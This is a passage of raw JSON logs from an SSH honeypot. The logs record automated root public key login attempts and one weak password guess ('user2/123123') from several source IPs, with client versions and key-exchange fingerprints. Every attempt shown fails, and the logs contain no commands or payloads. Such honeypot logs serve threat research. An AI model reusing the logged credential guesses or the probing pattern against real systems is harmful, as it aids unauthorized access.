-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:00.407558Z","src_ip":"198.23.177.154","session":"2a6b5bcfa6c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:79:a2:08:60:c4:37:5d:f2:cb:8c:49:d5:6e:b3:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLg/UnDzcyDY+2O9mTN6pRC50R2K+txBbB012ALwr/EbXnieH9r7f5xiEJwq6dgSUNUd/cX78MF/EOcmVo4i/Ke/2XlhmmqiyxltBNxHjHTCA3Eagv43U5B70W+LRv7nXs5Zar+7Q2HHSLFDBlK8NmiUUROnNuyo8eZplcAU3p33B98HbSqg+ypTFAeG474Ok//g/g2HGtYX4O/QhPfizepvE5Jfgm6FRYxIEkQofANGftRaXwRoPFz66DFjFXs7Jo1AzM0KXbu8LMKtde7yZM+DH2x3/U5plc2rbQuPuKOS6Oac0paRSty7XuuyE9sCK2LgVpnkx17vFYetRrs6Ol","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:79:a2:08:60:c4:37:5d:f2:cb:8c:49:d5:6e:b3:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:00.489042Z","src_ip":"198.23.177.154","session":"2a6b5bcfa6c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:79:a2:08:60:c4:37:5d:f2:cb:8c:49:d5:6e:b3:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLg/UnDzcyDY+2O9mTN6pRC50R2K+txBbB012ALwr/EbXnieH9r7f5xiEJwq6dgSUNUd/cX78MF/EOcmVo4i/Ke/2XlhmmqiyxltBNxHjHTCA3Eagv43U5B70W+LRv7nXs5Zar+7Q2HHSLFDBlK8NmiUUROnNuyo8eZplcAU3p33B98HbSqg+ypTFAeG474Ok//g/g2HGtYX4O/QhPfizepvE5Jfgm6FRYxIEkQofANGftRaXwRoPFz66DFjFXs7Jo1AzM0KXbu8LMKtde7yZM+DH2x3/U5plc2rbQuPuKOS6Oac0paRSty7XuuyE9sCK2LgVpnkx17vFYetRrs6Ol","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:00.495607Z","src_ip":"198.23.177.154","session":"2a6b5bcfa6c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:99:eb:e7:e0:5b:bf:aa:e0:72:89:2e:2c:bd:eb:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT57CclyoQ70hrlu3EYpnzqkVu385rckpkdxy/mKt1xmz+KmHgbgLYlC0aF1mJMH90kADr8SWjWT6mAvakbk/BKD4ChzKUw3aSZe4NYTsAtIet34E4Qsj8LyQM8wx08sdwZMwHaui6zuMiEvtAfysK5NidJ9KJejVhOJBUkcs0aG2ffMns1Vx7yxVlUlsPY1gROTnc8GJZVKN3HIHrUvDlr3IgTqM3KxHzHw37P1XTkgoqIA0fjmtuWjDtIddMQVpHDOi+M4qM/415zb7mL7ba+cGtMRBKsNyDTRIEBvpRvFgwwu/tI//YVjbyH96hOkZDY/YFLlUqNkk8ZvbS7WzL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:99:eb:e7:e0:5b:bf:aa:e0:72:89:2e:2c:bd:eb:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:00.518476Z","src_ip":"198.23.177.154","session":"2a6b5bcfa6c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:99:eb:e7:e0:5b:bf:aa:e0:72:89:2e:2c:bd:eb:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT57CclyoQ70hrlu3EYpnzqkVu385rckpkdxy/mKt1xmz+KmHgbgLYlC0aF1mJMH90kADr8SWjWT6mAvakbk/BKD4ChzKUw3aSZe4NYTsAtIet34E4Qsj8LyQM8wx08sdwZMwHaui6zuMiEvtAfysK5NidJ9KJejVhOJBUkcs0aG2ffMns1Vx7yxVlUlsPY1gROTnc8GJZVKN3HIHrUvDlr3IgTqM3KxHzHw37P1XTkgoqIA0fjmtuWjDtIddMQVpHDOi+M4qM/415zb7mL7ba+cGtMRBKsNyDTRIEBvpRvFgwwu/tI//YVjbyH96hOkZDY/YFLlUqNkk8ZvbS7WzL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:00.523088Z","src_ip":"198.23.177.154","session":"2a6b5bcfa6c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:29:28:77:6c:52:5d:6c:4a:4f:9b:bc:5a:34:a6:6c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFyqWSJ+kiwnLl5XgYsHFktsxkMaB2HS5ed1cBMTFUSB","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 34:29:28:77:6c:52:5d:6c:4a:4f:9b:bc:5a:34:a6:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:00.546050Z","src_ip":"198.23.177.154","session":"2a6b5bcfa6c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:29:28:77:6c:52:5d:6c:4a:4f:9b:bc:5a:34:a6:6c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFyqWSJ+kiwnLl5XgYsHFktsxkMaB2HS5ed1cBMTFUSB","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:00.553443Z","src_ip":"198.23.177.154","session":"2a6b5bcfa6c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:cf:23:27:db:ea:04:50:4f:fd:5d:db:99:dc:f2:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP3hHBE5hAM1t7JaYU03u7wOLmkWuHkrdalCI/G7LtBhnrrqQcLElCxOhjfr4owkUdUaMojPIodaEDmQQEN6ILdE9Dqgd7V06WX9YLOTsRVn8Ik2rHYB/Qa9VPcmXxzzhbShpGlQ8fvFNMrCyjXIxGR6YLZaorFjhZ6kmogY+Mqy6Y6Amc0DsCK2TGgCRz5LDhRrlrDMSevjZuwZaGSUeH+azdKWPwD5G43YsI8gpKkqubfVKWKMsIWLKYYpsXOcT/MHEoh4gda74MKKZqRHPP3seBNI7aw1Fzw5noBjUSV5YH8oiXMYfVhO7J4gYeLJefCuDB4QM74DQ32TCkgHFX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:cf:23:27:db:ea:04:50:4f:fd:5d:db:99:dc:f2:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:00.582228Z","src_ip":"198.23.177.154","session":"2a6b5bcfa6c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:cf:23:27:db:ea:04:50:4f:fd:5d:db:99:dc:f2:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP3hHBE5hAM1t7JaYU03u7wOLmkWuHkrdalCI/G7LtBhnrrqQcLElCxOhjfr4owkUdUaMojPIodaEDmQQEN6ILdE9Dqgd7V06WX9YLOTsRVn8Ik2rHYB/Qa9VPcmXxzzhbShpGlQ8fvFNMrCyjXIxGR6YLZaorFjhZ6kmogY+Mqy6Y6Amc0DsCK2TGgCRz5LDhRrlrDMSevjZuwZaGSUeH+azdKWPwD5G43YsI8gpKkqubfVKWKMsIWLKYYpsXOcT/MHEoh4gda74MKKZqRHPP3seBNI7aw1Fzw5noBjUSV5YH8oiXMYfVhO7J4gYeLJefCuDB4QM74DQ32TCkgHFX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:00.586994Z","src_ip":"198.23.177.154","session":"2a6b5bcfa6c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:8e:fd:10:e4:b1:0b:71:ff:88:55:e2:43:6b:1d:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfG3vUgcDm2FW1mgM1BFHep4aIyZEsda7oiGrw2APtUrTLgWRcof+8EnwCaZxdWHuOqLm06vrnKkRR12EoCounFON39ouX0YPQH9P13gdLoBxmI8WEJGwVqQBvfS/QrzafTlFEBnHgnMjLAQmIbUTfu4P1JyvSJ+TFTgZQe/yPQtpwh2MywcKg9ZHwzZD0FMBBnBG0p2kPhn9Cjv+dudJj3kT8DiLfsUyI4hLKTeBT/+eL8Qz1496nBVtijp5e6lePt6SY6U86K98+GBDtXF5Sok0nqgsPaGrF2ghQbg5koKKIBhNeW1p7KJcfNtmBwep5jgPycL5A4yUDx2ILdicfvDtAdxq+GA5Y4ozI9qPI334CfIvxO8fPykg9Caq+1Ieh6ZPzlFYRBNQmKmTVdNn1gE/Ab7df7MPD2U+ns4RZiL/HwBd1aBV+LRtKRHeN6x+iNjLUbnXJ5U7l9lKXnqjQvmxjHKZRMViQjwlrvxdUwP5AwTWsTkPcoCcwBmVSKCU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:8e:fd:10:e4:b1:0b:71:ff:88:55:e2:43:6b:1d:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:00.610615Z","src_ip":"198.23.177.154","session":"2a6b5bcfa6c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:8e:fd:10:e4:b1:0b:71:ff:88:55:e2:43:6b:1d:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfG3vUgcDm2FW1mgM1BFHep4aIyZEsda7oiGrw2APtUrTLgWRcof+8EnwCaZxdWHuOqLm06vrnKkRR12EoCounFON39ouX0YPQH9P13gdLoBxmI8WEJGwVqQBvfS/QrzafTlFEBnHgnMjLAQmIbUTfu4P1JyvSJ+TFTgZQe/yPQtpwh2MywcKg9ZHwzZD0FMBBnBG0p2kPhn9Cjv+dudJj3kT8DiLfsUyI4hLKTeBT/+eL8Qz1496nBVtijp5e6lePt6SY6U86K98+GBDtXF5Sok0nqgsPaGrF2ghQbg5koKKIBhNeW1p7KJcfNtmBwep5jgPycL5A4yUDx2ILdicfvDtAdxq+GA5Y4ozI9qPI334CfIvxO8fPykg9Caq+1Ieh6ZPzlFYRBNQmKmTVdNn1gE/Ab7df7MPD2U+ns4RZiL/HwBd1aBV+LRtKRHeN6x+iNjLUbnXJ5U7l9lKXnqjQvmxjHKZRMViQjwlrvxdUwP5AwTWsTkPcoCcwBmVSKCU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:00.615407Z","src_ip":"198.23.177.154","session":"2a6b5bcfa6c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:00.640027Z","src_ip":"198.23.177.154","session":"2a6b5bcfa6c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":44492,"dst_ip":"159.203.135.109","dst_port":22,"session":"c23814fd67b4","protocol":"ssh","message":"New connection: 103.63.108.25:44492 (159.203.135.109:22) [session: c23814fd67b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:03.727605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:03.736632Z","src_ip":"103.63.108.25","session":"c23814fd67b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:04.031796Z","src_ip":"103.63.108.25","session":"c23814fd67b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123123","message":"login attempt [user2/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:05.182352Z","src_ip":"103.63.108.25","session":"c23814fd67b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:06.466530Z","src_ip":"103.63.108.25","session":"c23814fd67b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.143.151.198","src_port":60688,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e1ebdd5fa44","protocol":"ssh","message":"New connection: 198.143.151.198:60688 (10.17.0.5:22) [session: 9e1ebdd5fa44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:11.290309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:11.295323Z","src_ip":"198.143.151.198","session":"9e1ebdd5fa44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:11.358972Z","src_ip":"198.143.151.198","session":"9e1ebdd5fa44","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:79:a2:08:60:c4:37:5d:f2:cb:8c:49:d5:6e:b3:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLg/UnDzcyDY+2O9mTN6pRC50R2K+txBbB012ALwr/EbXnieH9r7f5xiEJwq6dgSUNUd/cX78MF/EOcmVo4i/Ke/2XlhmmqiyxltBNxHjHTCA3Eagv43U5B70W+LRv7nXs5Zar+7Q2HHSLFDBlK8NmiUUROnNuyo8eZplcAU3p33B98HbSqg+ypTFAeG474Ok//g/g2HGtYX4O/QhPfizepvE5Jfgm6FRYxIEkQofANGftRaXwRoPFz66DFjFXs7Jo1AzM0KXbu8LMKtde7yZM+DH2x3/U5plc2rbQuPuKOS6Oac0paRSty7XuuyE9sCK2LgVpnkx17vFYetRrs6Ol","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:79:a2:08:60:c4:37:5d:f2:cb:8c:49:d5:6e:b3:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:11.657192Z","src_ip":"198.143.151.198","session":"9e1ebdd5fa44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:79:a2:08:60:c4:37:5d:f2:cb:8c:49:d5:6e:b3:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLg/UnDzcyDY+2O9mTN6pRC50R2K+txBbB012ALwr/EbXnieH9r7f5xiEJwq6dgSUNUd/cX78MF/EOcmVo4i/Ke/2XlhmmqiyxltBNxHjHTCA3Eagv43U5B70W+LRv7nXs5Zar+7Q2HHSLFDBlK8NmiUUROnNuyo8eZplcAU3p33B98HbSqg+ypTFAeG474Ok//g/g2HGtYX4O/QhPfizepvE5Jfgm6FRYxIEkQofANGftRaXwRoPFz66DFjFXs7Jo1AzM0KXbu8LMKtde7yZM+DH2x3/U5plc2rbQuPuKOS6Oac0paRSty7XuuyE9sCK2LgVpnkx17vFYetRrs6Ol","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:11.661919Z","src_ip":"198.143.151.198","session":"9e1ebdd5fa44","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:99:eb:e7:e0:5b:bf:aa:e0:72:89:2e:2c:bd:eb:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT57CclyoQ70hrlu3EYpnzqkVu385rckpkdxy/mKt1xmz+KmHgbgLYlC0aF1mJMH90kADr8SWjWT6mAvakbk/BKD4ChzKUw3aSZe4NYTsAtIet34E4Qsj8LyQM8wx08sdwZMwHaui6zuMiEvtAfysK5NidJ9KJejVhOJBUkcs0aG2ffMns1Vx7yxVlUlsPY1gROTnc8GJZVKN3HIHrUvDlr3IgTqM3KxHzHw37P1XTkgoqIA0fjmtuWjDtIddMQVpHDOi+M4qM/415zb7mL7ba+cGtMRBKsNyDTRIEBvpRvFgwwu/tI//YVjbyH96hOkZDY/YFLlUqNkk8ZvbS7WzL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:99:eb:e7:e0:5b:bf:aa:e0:72:89:2e:2c:bd:eb:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:11.727797Z","src_ip":"198.143.151.198","session":"9e1ebdd5fa44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:99:eb:e7:e0:5b:bf:aa:e0:72:89:2e:2c:bd:eb:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT57CclyoQ70hrlu3EYpnzqkVu385rckpkdxy/mKt1xmz+KmHgbgLYlC0aF1mJMH90kADr8SWjWT6mAvakbk/BKD4ChzKUw3aSZe4NYTsAtIet34E4Qsj8LyQM8wx08sdwZMwHaui6zuMiEvtAfysK5NidJ9KJejVhOJBUkcs0aG2ffMns1Vx7yxVlUlsPY1gROTnc8GJZVKN3HIHrUvDlr3IgTqM3KxHzHw37P1XTkgoqIA0fjmtuWjDtIddMQVpHDOi+M4qM/415zb7mL7ba+cGtMRBKsNyDTRIEBvpRvFgwwu/tI//YVjbyH96hOkZDY/YFLlUqNkk8ZvbS7WzL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:11.732293Z","src_ip":"198.143.151.198","session":"9e1ebdd5fa44","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:29:28:77:6c:52:5d:6c:4a:4f:9b:bc:5a:34:a6:6c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFyqWSJ+kiwnLl5XgYsHFktsxkMaB2HS5ed1cBMTFUSB","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 34:29:28:77:6c:52:5d:6c:4a:4f:9b:bc:5a:34:a6:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:11.799950Z","src_ip":"198.143.151.198","session":"9e1ebdd5fa44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:29:28:77:6c:52:5d:6c:4a:4f:9b:bc:5a:34:a6:6c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFyqWSJ+kiwnLl5XgYsHFktsxkMaB2HS5ed1cBMTFUSB","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:11.804665Z","src_ip":"198.143.151.198","session":"9e1ebdd5fa44","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:cf:23:27:db:ea:04:50:4f:fd:5d:db:99:dc:f2:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP3hHBE5hAM1t7JaYU03u7wOLmkWuHkrdalCI/G7LtBhnrrqQcLElCxOhjfr4owkUdUaMojPIodaEDmQQEN6ILdE9Dqgd7V06WX9YLOTsRVn8Ik2rHYB/Qa9VPcmXxzzhbShpGlQ8fvFNMrCyjXIxGR6YLZaorFjhZ6kmogY+Mqy6Y6Amc0DsCK2TGgCRz5LDhRrlrDMSevjZuwZaGSUeH+azdKWPwD5G43YsI8gpKkqubfVKWKMsIWLKYYpsXOcT/MHEoh4gda74MKKZqRHPP3seBNI7aw1Fzw5noBjUSV5YH8oiXMYfVhO7J4gYeLJefCuDB4QM74DQ32TCkgHFX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:cf:23:27:db:ea:04:50:4f:fd:5d:db:99:dc:f2:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:11.870007Z","src_ip":"198.143.151.198","session":"9e1ebdd5fa44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:cf:23:27:db:ea:04:50:4f:fd:5d:db:99:dc:f2:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP3hHBE5hAM1t7JaYU03u7wOLmkWuHkrdalCI/G7LtBhnrrqQcLElCxOhjfr4owkUdUaMojPIodaEDmQQEN6ILdE9Dqgd7V06WX9YLOTsRVn8Ik2rHYB/Qa9VPcmXxzzhbShpGlQ8fvFNMrCyjXIxGR6YLZaorFjhZ6kmogY+Mqy6Y6Amc0DsCK2TGgCRz5LDhRrlrDMSevjZuwZaGSUeH+azdKWPwD5G43YsI8gpKkqubfVKWKMsIWLKYYpsXOcT/MHEoh4gda74MKKZqRHPP3seBNI7aw1Fzw5noBjUSV5YH8oiXMYfVhO7J4gYeLJefCuDB4QM74DQ32TCkgHFX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:11.874889Z","src_ip":"198.143.151.198","session":"9e1ebdd5fa44","protocol":"ssh"}
